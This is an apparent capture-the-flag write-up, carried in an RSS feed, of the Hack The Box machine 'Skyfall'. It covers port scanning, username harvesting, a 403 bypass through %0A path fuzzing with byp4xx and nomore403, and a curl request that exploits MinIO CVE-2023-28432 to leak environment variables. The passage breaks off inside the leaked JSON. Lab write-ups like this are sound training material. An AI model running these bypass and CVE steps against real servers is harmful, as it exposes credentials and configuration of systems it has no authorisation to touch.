<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Writeup on CrippledMind's InfoSec Journal</title><link>https://crippledmind-infosec-journal.netlify.app/categories/writeup/</link><description>Recent content in Writeup on CrippledMind's InfoSec Journal</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 08 Jul 2024 22:53:43 +0530</lastBuildDate><atom:link href="https://crippledmind-infosec-journal.netlify.app/categories/writeup/index.xml" rel="self" type="application/rss+xml"/><item><title>Skyfall</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/</link><pubDate>Mon, 08 Jul 2024 22:53:43 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Skyfall&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> 10.10.11.254&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Insane&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>I started scan with &lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>Rustscan&lt;/a>. There were only two ports open.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">rustscan&lt;/span> &lt;span class="c1">--ulimit 5000 -r 1-65535 -a $IP -- -T4 -Pn -A | tee -a scan.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">22&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">OpenSSH&lt;/span> &lt;span class="mf">8.9&lt;/span>&lt;span class="n">p1&lt;/span> &lt;span class="n">Ubuntu&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="n">ubuntu0&lt;/span>&lt;span class="mf">.6&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span> &lt;span class="n">Linux&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">protocol&lt;/span> &lt;span class="mf">2.0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">hostkey&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">65&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">70&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">47&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">07&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">88&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">44&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fb&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ECDSA&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ecdsa&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">sha2&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">nistp256&lt;/span> &lt;span class="n">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCVqvI8vGs8EIUAAUiRze8kfKmYh9ETTUei3zRd1wWWLRBjSm&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">soBLfclIUP69cNtQOa961nyt2&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">BOwuR35cLR4&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">74&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">48&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">07&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">b7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">88&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">aa&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">b4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c8&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fe&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ED25519&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ed25519&lt;/span> &lt;span class="n">AAAAC3NzaC1lZDI1NTE5AAAAINk0VgEkDNZoIJwcG5LEVZDZkEeSRHLBmAOtd&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">pduzRW&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">80&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">nginx&lt;/span> &lt;span class="mf">1.18.0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Skyfall&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">Introducing&lt;/span> &lt;span class="n">Sky&lt;/span> &lt;span class="n">Storage&lt;/span>&lt;span class="err">!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">favicon&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Unknown&lt;/span> &lt;span class="n">favicon&lt;/span> &lt;span class="n">MD5&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">FED84E16B6CCFE88EE7FFAAE5DFEFD34&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">nginx&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.18.0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Service&lt;/span> &lt;span class="n">Info&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OS&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Linux&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">CPE&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cpe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">linux&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">linux_kernel&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-80">Port 80
&lt;/h3>&lt;p>When I go to the website, looking around found the possible domain given in the users section. I also noted down the users name in a list in case brute forcing has to be done.&lt;/p>
&lt;!-- ------------------------------------------------------------------------------------------ -->
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">jbond
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">askyy
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">btanner
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now looking again, I found a contact form. I tried exploiting it, but the form does not do anything useful. When submit is clicked, it just gets the home page with the details in query parameters added.&lt;/p>
&lt;p>Another endpoint &lt;code>try our demo&lt;/code> seems interesting. This opens up a subdomain &lt;code>demo&lt;/code>. Added it to &lt;code>/etc/hosts&lt;/code>. A login page which gives default creds &lt;code>guest\guest&lt;/code> to login.&lt;/p>
&lt;p>Upon login, I could see many attack points. There were forms, file upload and url query. I tried for xss to steal sessions but none of them worked. I tried for malicious file upload. But i was not able to make the server run that, it was just downloading it. There were two other paths, &lt;code>beta&lt;/code> and &lt;code>metrics&lt;/code>. But both of them gave &lt;code>4**&lt;/code> error.&lt;/p>
&lt;p>Now since this is an insane box, I went on to try again on those forms, file upload etc. I found out that the app is made from flask. So tried even with that using hacktricks.&lt;/p>
&lt;div style="display: flex; justify-content: space-between;">
&lt;img src="flask.png" alt="Image 1" style="width: 48%;"/>
&lt;img src="pythonpoint.png" alt="Image 2" style="width: 48%;"/>
&lt;/div>
&lt;p>But after 2-3 hours, I gave up!!! 🫠🫠&lt;/p>
&lt;p>After some needed break from this, thinking and remembering all info I know of enumeration, I luckily remembered that, sometimes restricted paths can be bypassed with methods like &lt;code>HTTP Methods&lt;/code> fuzzing, different &lt;code>letter casings&lt;/code>, different &lt;code>Protocol Version&lt;/code> etc. All these can be found in &lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses" target="_blank" rel="noopener"
>Bypass hacktricks&lt;/a>.
I tried some of the methods manually but nothing was working, there were automated tools given in the references. Yessss!!! It was a success. One of the tools:&lt;a class="link" href="https://github.com/lobuhi/byp4xx" target="_blank" rel="noopener"
>Bypass 4xx errors&lt;/a> found the bypass by appending &lt;code>%0A&lt;/code>. Another tool &lt;a class="link" href="https://github.com/devploit/nomore403" target="_blank" rel="noopener"
>nomore403&lt;/a> I found by searching was also successful in finding this.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">nomore403&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">nomore403&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">payloads&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">H&lt;/span> &lt;span class="s1">&amp;#39;Cookie: session=&amp;lt;token_value&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">u&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">demo&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">skyfall&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">htb&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">metrics&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="o">./&lt;/span>&lt;span class="n">byp4xx&lt;/span> &lt;span class="o">--&lt;/span>&lt;span class="nb">all&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xV&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xH&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xUA&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xD&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xS&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xM&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xX&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">H&lt;/span> &lt;span class="s1">&amp;#39;Cookie: session=&amp;lt;token_value&amp;gt;&amp;#39;&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">demo&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">skyfall&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">htb&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">metrics&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br>
&lt;div style="display: flex; justify-content: space-between;">
&lt;img src="bypassed.png" alt="Image 1" style="width: 64%;"/>
&lt;img src="bypassedtwo.png" alt="Image 2" style="width: 34%;"/>
&lt;/div>
&lt;p>Bypassing the page, I land in a frontend for minio metrics. Looking at the entries, I found several useful information.
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/minioversion.png"
width="2028"
height="78"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/minioversion_hu771d4d0023d367cbe9a3231a6dbfac72_25878_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/minioversion_hu771d4d0023d367cbe9a3231a6dbfac72_25878_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="2600"
data-flex-basis="6240px"
>
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/subdomain.png"
width="2192"
height="90"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/subdomain_huc3eb80a56ee734e4e9d493265e9a90cf_24808_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/subdomain_huc3eb80a56ee734e4e9d493265e9a90cf_24808_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="2435"
data-flex-basis="5845px"
>&lt;/p>
&lt;p>I added the subdomain to &lt;code>/etc/hosts&lt;/code>. Going to the path, I found minio metrics.&lt;/p>
&lt;div class="notice notice-info">
MinIO is a high-performance, S3 compatible object store. It is built for
large scale AI/ML, data lake and database workloads. It is software-defined
and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed
under open source GNU AGPL v3 and a commercial enterprise license.
&lt;/div>
&lt;p>So now to try to read the storage, I searched online for a potential vulnerability for this version to have the necessary permissions, alas!!! I found one &lt;a class="link" href="https://vulners.com/nuclei/NUCLEI:CVE-2023-28432" target="_blank" rel="noopener"
>Minio vuln&lt;/a>🥳. According to the post, a post request to the endpoint &lt;code>/minio/bootstrap/v1/verify&lt;/code> would return all the environment variables of minio. I did a curl request and got the data. 🎉&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">curl&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">prd23&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">s3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">backend.skyfall&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">htb&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">minio&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bootstrap&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">v1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">verify&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">d&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;MinioEndpoints&amp;#34;&lt;/span>&lt;span class="p">:[{&lt;/span>&lt;span class="s2">&amp;#34;Legacy&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;SetCount&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;DrivesPerSet&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Endpoints&amp;#34;&lt;/span>&lt;span class="p">:[{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node1:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">},{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node2:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="p">},{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node1:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data2&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">},{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node2:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data2&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="p">}],&lt;/span>&lt;span class="s2">&amp;#34;CmdLine&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http://minio-node{1...2}/data{1...2}&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Platform&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;OS: linux | Arch: amd64&amp;#34;&lt;/span>&lt;span class="p">}],&lt;/span>&lt;span class="s2">&amp;#34;MinioEnv&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;MINIO_ACCESS_KEY_FILE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;access_key&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_BROWSER&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;off&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span 